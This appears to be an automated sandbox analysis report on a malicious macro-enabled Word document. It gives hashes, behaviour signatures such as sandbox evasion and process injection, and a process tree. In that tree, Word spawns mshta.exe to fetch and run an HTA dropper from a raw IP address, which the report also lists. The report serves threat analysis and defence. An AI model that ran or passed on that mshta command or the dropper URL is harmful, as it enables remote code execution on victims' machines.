Analysis
- max time kernel
140s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 14:11
General
- Target 0eb8580ea0c1634a11e2fcd7fcfcae04_JaffaCakes118.docm
- Size 54KB
- Sample240502-rhmzsaae5v
- SHA256 b84cac469c097e1296c00029f8ffb1b7e12fb791d10da6e01485079a7750958c
Malware Config
Extracted
-
hta
-
hta.dropper
http://173.44.42.156/track/stem.php?utma=amgb
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0eb8580ea0c1634a11e2fcd7fcfcae04_JaffaCakes118.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" http://173.44.42.156/track/stem.php?utma=amgb2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
memory/3696-506-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-550-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-4-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-1-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-5-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-7-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-6-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-9-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-8-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-10-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-11-0x00007FFB826E0000-0x00007FFB826F0000-memory.dmp
memory/3696-523-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-2-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-3-0x00007FFBC480D000-0x00007FFBC480E000-memory.dmp
memory/3696-12-0x00007FFB826E0000-0x00007FFB826F0000-memory.dmp
memory/3696-524-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-525-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-526-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-529-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-528-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-527-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-522-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp
memory/3696-551-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-552-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-0-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-549-0x00007FFB847F0000-0x00007FFB84800000-memory.dmp
memory/3696-553-0x00007FFBC4770000-0x00007FFBC4965000-memory.dmp